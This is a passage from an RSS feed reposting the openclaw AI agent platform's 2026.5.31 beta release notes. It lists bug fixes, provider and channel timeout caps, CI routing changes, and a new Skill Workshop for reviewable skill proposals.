<li>CLI/desktop: bridge WSL clipboard operations through the shell and recognize manual-update launchd jobs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558805270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88764/hovercard" href="https://github.com/openclaw/openclaw/pull/88764">#88764</a>)</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Plugins: preserve npm plugin roots after blocked installs, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375645088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77237/hovercard" href="https://github.com/openclaw/openclaw/pull/77237">#77237</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559215204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88807/hovercard" href="https://github.com/openclaw/openclaw/pull/88807">#88807</a>)</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.</li>
<li>Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Media: allow validated TXT, JSON, YAML, and YML host-local document sends while rejecting binary-disguised text files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411236357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79658/hovercard" href="https://github.com/openclaw/openclaw/pull/79658">#79658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simplyclever914/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simplyclever914">@simplyclever914</a>.</li>
<li>Voice calls: migrate legacy call logs through doctor into plugin-state SQLite while keeping malformed or incomplete sources retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558509751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88731" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88731/hovercard" href="https://github.com/openclaw/openclaw/pull/88731">#88731</a>)</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: resolve Google defaults to <code>google-generative-ai</code>, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>)</li>
<li>Providers/OpenAI: avoid orphan Responses message-id replay and sanitize raw HTTP 401 provider errors before they reach user-facing logs.</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: recover failed progress-draft starts and refresh just-started progress drafts across Discord, Telegram, Slack, Matrix, and Teams instead of losing early progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>)</li>
<li>Discord: bound REST entity cache growth and keep recovered tool warning output mention-inert.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Gateway/security: rate-limit bootstrap-token verification, guard direct session display names, and add Tailscale Serve service-name support without weakening gateway exposure checks.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Plugins/install: add npm README coverage for channel providers and pin WhatsApp media decoding to Baileys' supported peer range so external WhatsApp installs do not fail npm peer resolution.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: refresh pinned Node Docker image digests and keep pairing challenge assertions aligned with fenced approval commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495421361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84981/hovercard" href="https://github.com/openclaw/openclaw/issues/84981">#84981</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495608523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84988" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84988/hovercard" href="https://github.com/openclaw/openclaw/pull/84988">#84988</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LibraHo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LibraHo">@LibraHo</a>.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, honor Chromium executable overrides, and detect system Chromium for E2E.</li>
<li>Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, decode Nostr <code>npub</code> allowlists correctly, and suppress raw provider errors during channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545822590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87896" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87896/hovercard" href="https://github.com/openclaw/openclaw/pull/87896">#87896</a>)</li>
<li>Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554055557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88288/hovercard" href="https://github.com/openclaw/openclaw/pull/88288">#88288</a>)</li>
<li>Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from <code>sessions.list</code>, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.</li>
<li>OpenAI/TTS: handle speed directives for OpenAI TTS voices. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348062227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74089/hovercard" href="https://github.com/openclaw/openclaw/pull/74089">#74089</a>)</li>
<li>CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.31-beta.3]]></title>
<description><![CDATA[2026.5.31
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, S...]]></description>
<link>https://tsecurity.de/de/3561316/downloads/openclaw-2026531-beta3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561316/downloads/openclaw-2026531-beta3/</guid>
<pubDate>Sun, 31 May 2026 21:31:14 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.31</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Gateway and channel setup add Tailscale Serve service-name binding, Communication notification settings, safer <code>agents add</code>, and more reliable progress drafts across Discord, Telegram, Slack, Matrix, and Teams. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Gateway: support Tailscale Serve service-name bindings for gateway exposure and status.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: expose the Communication Notifications settings tab so notification controls are reachable from settings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a>.</li>
